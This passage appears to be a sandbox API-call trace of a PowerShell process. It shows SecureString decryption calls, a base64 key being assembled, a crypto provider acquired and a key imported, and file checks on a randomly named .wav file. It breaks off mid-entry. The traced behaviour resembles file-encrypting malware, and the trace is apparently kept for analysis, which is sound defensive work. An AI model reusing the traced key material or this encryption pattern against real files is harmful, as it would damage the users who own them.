SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0122.108] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0122.108] SystemFunction041 (in: Memory=0x8e6ffdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ffdc) returned 0x0 [0122.108] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0122.108] SystemFunction040 (in: Memory=0x8e6ffdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ffdc) returned 0x0 [0122.108] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0122.108] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0122.108] SystemFunction041 (in: Memory=0x8e6ffdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ffdc) returned 0x0 [0122.109] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0122.109] SystemFunction040 (in: Memory=0x8e6ffdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ffdc) returned 0x0 [0122.109] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0122.109] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0122.109] SystemFunction041 (in: Memory=0x8e6ffdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ffdc) returned 0x0 [0122.109] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0122.109] SystemFunction040 (in: Memory=0x8e6ffdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ffdc) returned 0x0 [0122.109] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0122.109] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0122.109] SystemFunction041 (in: Memory=0x8e6ffdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ffdc) returned 0x0 [0122.109] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0122.109] SystemFunction040 (in: Memory=0x8e6ffdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ffdc) returned 0x0 [0122.109] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0122.109] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0122.109] SystemFunction041 (in: Memory=0x8e6ffdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ffdc) returned 0x0 [0122.109] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTA2") returned 0x28 [0122.109] SystemFunction040 (in: Memory=0x8e6ffdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ffdc) returned 0x0 [0122.110] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0122.110] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0122.110] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0122.110] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x1864\x7496\x18") returned 0x30 [0122.110] SystemFunction041 (in: Memory=0x4395264, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x4395264) returned 0x0 [0122.110] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTA2M㏛륥荚㍥魇䇧") returned 0x30 [0122.110] SystemFunction040 (in: Memory=0x4395264, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x4395264) returned 0x0 [0122.110] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x843d\xaf6b\x84aa\xfd89\x9159\x459b\x3f00\xaf76") returned 0x30 [0122.110] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x843d\xaf6b\x84aa\xfd89\x9159\x459b\x3f00\xaf76") returned 0x30 [0122.110] SystemFunction041 (in: Memory=0x4395264, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x4395264) returned 0x0 [0122.110] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTA2M2㏛륥荚㍥魇䇧") returned 0x30 [0122.110] SystemFunction040 (in: Memory=0x4395264, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x4395264) returned 0x0 [0122.110] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x97c5\xacb7\x3ef8\x48a4\xbade\xd2b0\x9ee6\x4d84") returned 0x30 [0122.110] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x97c5\xacb7\x3ef8\x48a4\xbade\xd2b0\x9ee6\x4d84") returned 0x30 [0122.110] SystemFunction041 (in: Memory=0x4395264, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x4395264) returned 0x0 [0122.110] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTA2M2I륥荚㍥魇䇧") returned 0x30 [0122.110] SystemFunction040 (in: Memory=0x4395264, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x4395264) returned 0x0 [0122.110] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x1329\xa7e0\x4c6c\x59a9\x53bb\xb727\x33d\x9f34") returned 0x30 [0122.110] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x1329\xa7e0\x4c6c\x59a9\x53bb\xb727\x33d\x9f34") returned 0x30 [0122.110] SystemFunction041 (in: Memory=0x4395264, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x4395264) returned 0x0 [0122.110] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTA2M2I=荚㍥魇䇧") returned 0x30 [0122.110] SystemFunction040 (in: Memory=0x4395264, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x4395264) returned 0x0 [0122.111] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x27, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0122.176] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\xe9c6\xe413\x2f68\x1aa1\xd11a\xb3f0\xe6cb\x2df2") returned 0x30 [0122.176] SystemFunction041 (in: Memory=0x4395264, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x4395264) returned 0x0 [0122.176] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTA2M2I=荚㍥魇䇧") returned 0x30 [0122.176] SystemFunction040 (in: Memory=0x4395264, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x4395264) returned 0x0 [0122.199] CryptAcquireContextW (in: phProv=0x99ae610, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae610*=0x43972b8) returned 1 [0122.291] CryptImportKey (in: hProv=0x43972b8, pbData=0x6beb6a0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99ae9f4 | out: phKey=0x99ae9f4*=0x8e857f8) returned 1 [0122.304] CryptContextAddRef (hProv=0x43972b8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0122.305] CoTaskMemAlloc (cb=0x20e) returned 0x8e55a78 [0122.305] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x8e55a78, nSize=0x105 | out: lpBuffer="file:///C:/Windows/SysWOW64/WindowsPowerShell/v1.0/en-US/Microsoft.PowerShell.Security.resources/Microsoft.PowerShell.Security.resources.EXE") returned 0x0 [0122.305] CoTaskMemFree (pv=0x8e55a78) [0122.311] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb20*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb20*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x28, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0122.311] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea80*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x27, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0122.311] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x28, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x28, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0122.320] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\1ycn0quz.wav")) returned 0x20 [0122.321] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\1ycn0quz.wav")) returned 0x20 [0122.321] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav", nBufferLength=0x105, lpBuffer=0x99ae400, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav", lpFilePart=0x0) returned 0x4d [0122.321] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav", nBufferLength=0x105, lpBuffer=0x99ae3c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav", lpFilePart=0x0) returned 0x4d [0122.321] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaac*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaac*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x28, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0122.377] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav", nBufferLength=0x105, lpBuffer=0x99ae554, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav", lpFilePart=0x0) returned 0x4d [0122.378] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav", nBufferLength=0x105, lpBuffer=0x99ae44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav", lpFilePart=0x0) returned 0x4d [0122.379] CoTaskMemAlloc (cb=0x20e) returned 0x8e54b60 [0122.379] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x8e54b60, nSize=0x105 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x0 [0122.379] CoTaskMemFree (pv=0x8e54b60) [0122.379] CoTaskMemAlloc (cb=0x20e) returned 0x8e55a78 [0122.379] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x8e55a78, nSize=0x105 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0122.379] CoTaskMemFree (pv=0x8e55a78) [0122.379] CoTaskMemAlloc (cb=0x20e) returned 0x8e56540 [0122.379] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x8e56540, nSize=0x105 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0122.379] CoTaskMemFree (pv=0x8e56540) [0122.379] CoTaskMemAlloc (cb=0x20e) returned 0x8e56bb8 [0122.379] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x8e56bb8, nSize=0x105 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x87 [0122.379] CoTaskMemFree (pv=0x8e56bb8) [0122.379] CoTaskMemAlloc (cb=0x20e) returned 0x8e53180 [0122.379] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x8e53180 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x1d [0122.379] CoTaskMemFree (pv=0x8e53180) [0122.379] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0122.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.379] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0122.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.380] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0122.380] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.ps1", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.ps1", lpFilePart=0x0) returned 0x32 [0122.380] GetFullPathNameW (in: lpFileName="New-Object.ps1", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.ps1", lpFilePart=0x0) returned 0x2c [0122.380] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.ps1", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.380] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0122.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.380] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0122.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.380] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0122.380] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.psm1", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.psm1", lpFilePart=0x0) returned 0x33 [0122.380] GetFullPathNameW (in: lpFileName="New-Object.psm1", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.psm1", lpFilePart=0x0) returned 0x2d [0122.380] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.psm1", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.381] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0122.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.381] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0122.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.381] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0122.381] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.psd1", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.psd1", lpFilePart=0x0) returned 0x33 [0122.381] GetFullPathNameW (in: lpFileName="New-Object.psd1", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.psd1", lpFilePart=0x0) returned 0x2d [0122.381] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.psd1", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.381] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", 